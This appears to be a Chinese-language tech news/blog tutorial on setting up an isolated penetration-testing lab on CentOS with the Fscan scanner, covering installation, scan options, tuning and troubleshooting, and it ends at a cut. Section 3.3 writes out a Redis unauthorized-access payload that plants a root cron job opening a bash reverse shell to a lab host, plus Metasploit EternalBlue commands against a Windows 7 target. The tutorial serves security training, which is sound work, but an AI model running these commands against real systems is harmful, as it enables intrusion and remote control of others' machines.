当前位置：首页 > news >正文

从零搭建安全实验室：如何用Fscan在CentOS上快速构建你的第一个内网靶场

news 2026/5/4 23:03:54

从零搭建安全实验室：如何用Fscan在CentOS上快速构建你的第一个内网靶场

1. 为什么需要内网靶场？

想象一下，你刚学完网络安全基础课程，满脑子都是ARP欺骗、端口扫描、漏洞利用的理论知识，但面对真实网络环境却无从下手。这就是为什么每个安全从业者都需要一个专属的内网靶场——它就像外科医生的模拟手术台，让你在零风险的环境里反复练习各种渗透技术。

内网靶场的核心价值在于三点：

安全隔离：所有操作都在封闭环境进行，不会误伤真实系统
场景复现：可以自由搭建包含Windows、Linux、网络设备的混合环境
结果验证：通过工具扫描能立即看到配置是否正确，漏洞是否生效

最近在GitHub上获得3.8k星的Fscan恰好是靶场建设的瑞士军刀。这个用Go语言编写的工具最让我惊艳的是它的"智能全扫"模式，只需一条命令就能完成从主机发现到漏洞验证的全流程。上周我用它在CentOS 7上搭建测试环境时，不到20分钟就发现了故意留的后门账户。

2. 环境准备与工具部署

2.1 基础环境配置

建议使用VMware Workstation Pro创建隔离的虚拟网络，我通常会这样规划：

攻击机：CentOS 7 minimal（2核CPU/4GB内存）
靶机1：Windows 7 SP1（故意不装MS17-010补丁）
靶机2：Ubuntu 18.04 with Redis 5.0.7

# 在CentOS攻击机上安装基础依赖 sudo yum install -y wget git gcc glibc-static

2.2 Fscan的三种获取方式

方法一：直接下载预编译版本（推荐初学者）

wget https://github.com/shadow1ng/fscan/releases/download/1.8.3/fscan_amd64 chmod +x fscan_amd64 mv fscan_amd64 /usr/local/bin/fscan

方法二：从源码编译（需要Go环境）

git clone https://github.com/shadow1ng/fscan.git cd fscan go build -ldflags="-s -w" -o fscan

方法三：Docker方式运行

docker pull pengzhimu/fscan:latest docker run -it --rm pengzhimu/fscan -h 192.168.1.1/24

注意：首次运行前建议执行setenforce 0临时关闭SELinux，避免权限问题导致扫描中断

3. 靶场建设实战演练

3.1 基础网络探测

先确认靶机网络连通性，这个命令会显示存活主机：

fscan -h 192.168.56.0/24 -np

典型输出示例：

[*] Icmp alive hosts len is: 3 192.168.56.101:22 open 192.168.56.102:3389 open 192.168.56.103:6379 open

3.2 深度漏洞扫描

启用全功能扫描（包含爆破和漏洞检测）：

fscan -h 192.168.56.101-103 -full -o scan_result.json

关键参数说明：

参数	作用	推荐值
-t	线程数	300-600
-p	自定义端口	21,22,80,443,445
-m	扫描模式	all/ssh/web
-nopoc	禁用Web检测	当靶场无Web服务时使用

3.3 典型漏洞验证

发现Redis未授权访问时，可以这样验证：

echo "flushall\nset crackit \"\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.56.100/4444 0>&1\\n\\n\"\nconfig set dir /var/spool/cron/\nconfig set dbfilename root\nsave" | redis-cli -h 192.168.56.103 --pipe

对于MS17-010漏洞，Fscan会自动检测但不会利用。建议配合Metasploit进行后续测试：

use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.102 run

4. 靶场优化与进阶技巧

4.1 扫描结果分析

Fscan的输出报告需要重点关注这些字段：

[+]表示确认存在的漏洞
[*]表示信息收集结果
[-]表示尝试失败的检测

建议用jq工具处理JSON格式报告：

cat scan_result.json | jq '.vul_list[] | select(.risk_level=="high")'

4.2 性能调优指南

当靶机数量超过50台时，需要调整这些参数：

fscan -h 192.168.56.0/24 -t 800 -time 5 -wt 10

警告：线程数(-t)超过1000可能导致网络拥堵，建议在物理机运行

4.3 常见问题排查

问题1：扫描结果中大量主机显示超时

检查靶机防火墙规则：systemctl status firewalld
确认网络模式为桥接或NAT网络

问题2：Web漏洞检测不准确

更新POC库：wget https://github.com/shadow1ng/fscan/raw/main/pocs.zip
指定POC路径：-pocpath ./custom_pocs/

问题3：爆破成功率低

扩展字典文件：-userf users.txt -pwdf passwords.txt
调整超时时间：-time 10

5. 靶场升级方案

当基础靶场无法满足需求时，可以尝试这些进阶配置：

混合架构靶场

加入AD域控服务器（Windows Server 2016）
部署OWASP Juice Shop作为Web靶机
搭建Vulnhub经典漏洞环境

自动化部署方案

#!/usr/bin/env python3 import subprocess targets = ["192.168.56.101-110"] for target in targets: cmd = f"fscan -h {target} -o scan_{target.replace('/','_')}.json" subprocess.run(cmd, shell=True)

监控与日志分析